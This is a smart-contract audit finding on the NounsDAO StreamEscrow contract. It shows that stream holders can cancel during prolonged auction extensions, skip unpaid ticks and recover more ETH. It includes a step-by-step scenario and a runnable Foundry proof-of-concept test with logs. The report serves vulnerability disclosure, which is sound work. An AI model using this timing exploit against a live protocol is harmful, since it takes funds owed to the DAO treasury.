Clumsy Tangelo Falcon

Medium

# Missing Tick Settlement Allows Users to Avoid Payment and Get Higher Refund in the case of prolonged auctions

### Summary

The StreamEscrow contract has a vulnerability where users can avoid paying their share and receive a higher refund than they should by canceling their stream during periods when tick settlements are delayed due to auction prolongation.

https://github.com/sherlock-audit/2024-11-nounsdao/blob/main/nouns-monorepo/packages/nouns-contracts/contracts/NounsAuctionHouseV3.sol#L340C1-L344C10

https://github.com/sherlock-audit/2024-11-nounsdao/blob/main/nouns-monorepo/packages/nouns-contracts/contracts/StreamEscrow.sol#L136C1-L149C6

https://github.com/sherlock-audit/2024-11-nounsdao/blob/main/nouns-monorepo/packages/nouns-contracts/contracts/StreamEscrow.sol#L311C1-L317C6


### Root Cause

Consider the following scenario:

- An auction is created for a Noun NFT on `Monday at 10AM`, its end time is set 1 day, i.e. `Tuesday 10AM`.
- In the course of bidding, the auction's `endTime` is extended 1 day. It can happen due to following code block in `NounsAuctionHouseV3::createBid`

```solidity
        bool extended = _auction.endTime - block.timestamp < _timeBuffer;
        emit AuctionBid(_auction.nounId, msg.sender, msg.value, extended);
        if (clientId > 0) emit AuctionBidWithClientId(_auction.nounId, msg.value, clientId);
        if (extended) {
            auctionStorage.endTime = _auction.endTime = uint40(block.timestamp + _timeBuffer);
            emit AuctionExtended(_auction.nounId, _auction.endTime);
        }
```
- To simplify this example, we'll consider that it is extended only for 1 day. Remember that `MAX_TIME_BUFFER` is capped to 1 day, so `timeBuffer` can be 1 day max, thus the auction can be extended for a day at once. Now, let me give an answer to possible objections to this logic:

    Regarding the time buffer, In the test files, in `DeployUtils.sol`, `AUCTION_TIME_BUFFER` is set to `5 minutes`. That does not change our scenario: The owner can change the buffer (max 1 day) anytime. Let's say they did not and the buffer remained 5 minutes. Bob and Carol fights for the NFT, and each time the bidding is about to end, the other one creates a bid, thus extending the auction's end time by 5 minutes, until at least 24 hours passes. It can be more, but we'll stop at 24 hours for our example.

- Now the auction's end time is `Wednesday 10AM` instead of `Tuesday 10AM`. 

Before going further, let's remember certain things:
- To settle an auction, `NounsAuctionHouseV3::_settleAuction` must be triggered. This function in turn interacts with the `StreamEscrow` contract either by calling `StreamEscrow::forwardAllAndCreateStream` or `StreamEscrow::forwardAll`. There is no other call to `forwardAll` function here.
- `StreamEscrow::forwardAllAndCreateStream` starts by calling `forwardAll`, and `StreamEscrow::forwardAll` is the function that sends `ethStreamedPerTick` to the treasury and increments the current tick by invoking `increaseTicksAndFinishStreams` function.

Now let's go back to Tuesday where the auction is still on extension and `forwardAll` is not called. Note that there's no logic that enforces `forwardAll` should be called each day at the same time, or any other time. It can be called by anyone, but it might also not.

According to protocol docs, we see:

> Are there any off-chain mechanisms involved in the protocol (e.g., keeper bots, arbitrage bots, etc.)? We assume these mechanisms will not misbehave, delay, or go offline unless otherwise specified.
>Not in this scope

- Now let's rewind time and go back to Sunday, before the auction in question was even created. Here we have Alice, she won the previous auction. Do not get confused, we're not talking about winning the auction we've been talking about, this is a prior auction, different NFT, totally different user.

- Alice had bought a Noun Nft on `Sunday 10 AM`, a day before the auction and just the auction before the auction in question. For convenience, let's say she will stream 10 ETH for 10 days.
- She streams 1 ETH on Monday as she should.
- Let's consider that we're at tick 10 now. 
- Also let's consider there are other streams going on and `ethStreamedPerTick` is also 10. So, the treasury receives 10 ETH per tick (including Alice's 1 ETH per tick).
- On `Tuesday 12h`, if no one has called `forwardAll`, and since the auction we started by talking about is still extended (remember it's extended to `Wednesday 10AM`) thus `forwardAll` hasn't been called by `NounsAuctionHouseV3` contract also, Alice hasn't streamed her 1 eth. No one did. Because `sendETHToTreasury(ethStreamedPerTick)` never been invoked yet. For other places `sendETHToTreasury` is called, see the note below, but keep in mind that none of them send `ethStreamedPerTick` like `forwardAll` function.
- And since `forwardAll` isn't invoked, `increaseTicksAndFinishStreams` also is not invoked, and thus the tick is not incremented. `forwardAll` is the only place in the code that invokes the internal `increaseTicksAndFinishStreams` function.
- Thus treasury did not receive any eth on Tuesday. Now, since we do not think by days but ticks, this seems okay, because treasury will get its eth at the end. **But No.**
- Now on `Wednesday 8AM`, two hours before the auction in question is concluded, Alice decides to cancel her stream. She cancels like so, receives her money back, and by this line `ethStreamedPerTick -= stream.ethPerTick;` the amount of eth streamed per tick is decreased. Now, `ethStreamedPerTick` is 9 ETH instead of 10. 
- On `Wednesday 10AM` let's say Bob wins the auction and thus `forwardAll` is called. Invoking `sendETHToTreasury(ethStreamedPerTick)`, now 9 ETH is transferred to the treasury. 

Now what happened here? Alice did not stream that 1 ETH she should've streamed on Tuesday, and enjoyed a whole day of privileges in the DAO **for free**. The protocol effectively lost money.

Note that the fight for NFT can take longer, the extension can be prolonged more. Also, other users too can decide to cancel their stream at any time like Alice did. Let's say there's another streamer named Michael who streams 1 ETH per tick, and now he also cancels his stream on `Wednesday 8AM`. Now the protocol would have basically lost 2 ETH, Alice and Michael enjoyed their time in the DAO for free during the time of the extension.

**Notes**
sendETHToTreasury is invoked in 2 other functions: StreamEscrow::createStream and StreamEscrow::fastForwardStream. But none of them send the ethStreamedPerTick to the treasury. The former, createStream sends the remainder like so:

```solidity
     uint256 remainder = msg.value % streamLengthInTicks;
     sendETHToTreasury(remainder);
```
And the latter fastForwardStream sends the ETH that a particular stream that's been forwarded should send:

```solidity
    uint256 ethToStream = ticksToForward * stream.ethPerTick;
    sendETHToTreasury(ethToStream);
```
None of them send ethStreamedPerTick like forwardAll function.

Internal pre-conditions
No response

External pre-conditions
No response

Attack Path
No response

### Impact
Financial loss for the protocol as users can withdraw more funds than they should
Disruption of the expected payment schedule
Users can game the system by timing their cancellations during periods of delayed settlements

### PoC
For a simplified POC, refer to the below code. To run it, create a new file MyTest.t.sol in test/foundry and paste the following contents:

NB: I stress that the following code is a bit different from the scenario above. It shows the same issue, but with different, simplified steps. Feel free to change the steps as you wish, the result won't change, Alice will enjoy her free time in the DAO.

```solidity
    // SPDX-License-Identifier: GPL-3.0
pragma solidity ^0.8.19;

import "forge-std/Test.sol";
import {DeployUtils} from "./helpers/DeployUtils.sol";
import {NounsAuctionHouseProxy} from "../../contracts/proxies/NounsAuctionHouseProxy.sol";
import {NounsAuctionHouse} from "../../contracts/NounsAuctionHouse.sol";
import {NounsAuctionHouseV3} from "../../contracts/NounsAuctionHouseV3.sol";
import {INounsAuctionHouseV3 as IAH} from "../../contracts/interfaces/INounsAuctionHouseV3.sol";
import {BidderWithGasGriefing} from "./helpers/BidderWithGasGriefing.sol";
import {console} from "forge-std/console.sol";
import {StreamEscrow} from "../../contracts/StreamEscrow.sol";
import {IStreamEscrow} from "../../contracts/interfaces/IStreamEscrow.sol";
import {ERC721Mock} from "./helpers/ERC721Mock.sol";
import {ERC20Mock} from "./helpers/ERC20Mock.sol";
import {NounsToken} from "../../contracts/NounsToken.sol";

contract MyTest is Test, DeployUtils {
    address public Alice = makeAddr("Alice");
    address public Bob = makeAddr("Bob");
    address public Carol = makeAddr("Carol");

    address owner = address(0x1111);
    address noundersDAO = address(0x2222);
    address minter = address(0x3333);
    uint256[] nounIds;
    uint32 timestamp = 1702289583;

    NounsAuctionHouseV3 auction;
    StreamEscrow escrow;

    address treasury = makeAddr("treasury");
    address ethRecipient = makeAddr("ethRecipient");
    address nounsRecipient = makeAddr("nounsRecipient");
    address streamCreator = makeAddr("streamCreator");
    NounsToken nounsToken;

    function setUp() public {
        vm.warp(timestamp);

        (NounsAuctionHouseProxy auctionProxy,) = _deployAuctionHouseAndToken(owner, noundersDAO, minter);
        auction = NounsAuctionHouseV3(address(auctionProxy));
        nounsToken = NounsToken(address(auction.nouns()));

        vm.prank(owner);
        auction.unpause();
        vm.roll(block.number + 1);

        //change time buffer to 1 day for ease of testing
        vm.prank(owner);
        auction.setTimeBuffer(1 days);

        vm.deal(Alice, 15 ether);
        vm.deal(Bob, 1000 ether);
        vm.deal(Carol, 1000 ether);
    }

    function test_Alice_enjoys_free_time() public {
        console.log("current tick", StreamEscrow(address(auction.streamEscrow())).currentTick());
        //get the owner balance
        console.log("owner balance", owner.balance);

        console.log(
            "eth recipient balance before",
            address(StreamEscrow(address(auction.streamEscrow())).ethRecipient()).balance
        );

        uint128 nounId = auction.auction().nounId;
        console.log("nounId", nounId);

        vm.prank(Alice);
        auction.createBid{value: 10 ether}(nounId);
        uint40 endTime = auction.auction().endTime;
        vm.warp(endTime + 5 hours);
        vm.prank(owner);
        console.log("eth per tick is zero at this point", auction.streamEscrow().getStream(1).ethPerTick);

        auction.settleCurrentAndCreateNewAuction(); //Alice creates stream on SUNDAY 10 AM

        console.log("current tick", StreamEscrow(address(auction.streamEscrow())).currentTick());

        //owner balance after settlement
        console.log("owner balance after settlement", owner.balance);

        //escrow contract balance after settlement, has Alice's locked up payment
        console.log("escrow balance after settlement", address(StreamEscrow(address(auction.streamEscrow()))).balance);

        console.log("eth per tick", auction.streamEscrow().getStream(1).ethPerTick);

        console.log(
            "eth recipient balance after Alice creates stream",
            address(StreamEscrow(address(auction.streamEscrow())).ethRecipient()).balance
        );

        //now there's a new auction
        console.log("new noun id ", auction.auction().nounId); // we can see the nounId is updated
        assertEq(auction.auction().endTime, block.timestamp + 24 hours); // new auction will end on MONDAY 10 AM

        //just before the auction ends, Bob bids and thus extends the auction end time
        vm.warp(block.timestamp + 23 hours); // it is MONDAY 9 AM now
        nounId = auction.auction().nounId; // Update nounId to the current auction
        vm.prank(Bob);
        auction.createBid{value: 1 ether}(nounId);

        assertEq(auction.auction().endTime, block.timestamp + 1 days); //new auction is extended
        //so auction is not settled, thus forwardAll isn't called

        vm.warp(block.timestamp + 23 hours + 50 minutes); // Now it is TUESDAY 8h50
        //Carol bids and extends the auction again
        vm.prank(Carol);
        auction.createBid{value: 1.5 ether}(nounId); //with this, auction is extended 1 more day

        assertEq(auction.auction().endTime, block.timestamp + 1 days); //new auction is extended (endTime is always updated on extension)

        //let's warp to Wednesday 7 AM
        vm.warp(block.timestamp + 23 hours);

        console.log(
            "eth recipient balance on Wednesday 7 AM",
            address(StreamEscrow(address(auction.streamEscrow())).ethRecipient()).balance
        );
        //recipient balance hasn't changed. Alice did not stream anything because forwardAll was never called by the logic itself

        //Now alice decides to leave the DAO
        vm.startPrank(Alice);
        nounsToken.approve(address(auction.streamEscrow()), 1);
        auction.streamEscrow().cancelStream(1);
        vm.stopPrank();

        //current tick never got updated because forwardAll was never called
        console.log("current tick", StreamEscrow(address(auction.streamEscrow())).currentTick());
        ///Escrow paid everything back to Alice
        //this is the critical part of the POC
        console.log(
            "escrow balance after Alice leaves the DAO", address(StreamEscrow(address(auction.streamEscrow()))).balance
        );

        console.log(
            "eth recipient balance on Wednesday 7 AM & after Alice leaves the DAO",
            address(StreamEscrow(address(auction.streamEscrow())).ethRecipient()).balance
        );
        //get the owner balance
        console.log("owner balance", owner.balance);

        //Now let's settle the auction
        vm.warp(auction.auction().endTime);
        vm.prank(owner);
        auction.settleCurrentAndCreateNewAuction();

        console.log(
            "eth recipient balance after settlement",
            address(StreamEscrow(address(auction.streamEscrow())).ethRecipient()).balance
        );

        // At this point, Carol paid for her shares.
        // But, Alice did not pay for the days she missed.
        // She effectively avoided paying for her shares and enjoyed free time in the DAO and then left, got her remaining locked up payments back
    }
}


```
Then run `forge test -vv  --match-test test_Alice_enjoys_free_time  --ffi` and you shall see the following on the terminal:

```bash
Ran 1 test for test/foundry/MyTest.t.sol:MyTest
[PASS] test_Alice_enjoys_free_time() (gas: 1041889)
Logs:
  current tick 0
  owner balance 0
  eth recipient balance before 0
  nounId 1
  eth per tick is zero at this point 0
  current tick 1
  owner balance after settlement 2000000000000000500
  escrow balance after settlement 7999999999999999500
  eth per tick 5333333333333333
  eth recipient balance after Alice creates stream 2000000000000000500
  new noun id  2
  eth recipient balance on Wednesday 7 AM 2000000000000000500
  current tick 1
  escrow balance after Alice leaves the DAO 0
  eth recipient balance on Wednesday 7 AM & after Alice leaves the DAO 2000000000000000500
  owner balance 2000000000000000500
  eth recipient balance after settlement 2300000000000000500

```


### Mitigation

Implement a mechanism to track time-based tick progression independently of auction settlements
Calculate refunds based on time passed rather than settled ticks
Add a function to force-settle ticks if too much time has passed without settlement
Or, consider implementing an off-chain bot that calls the forwardAll function at appropriate times.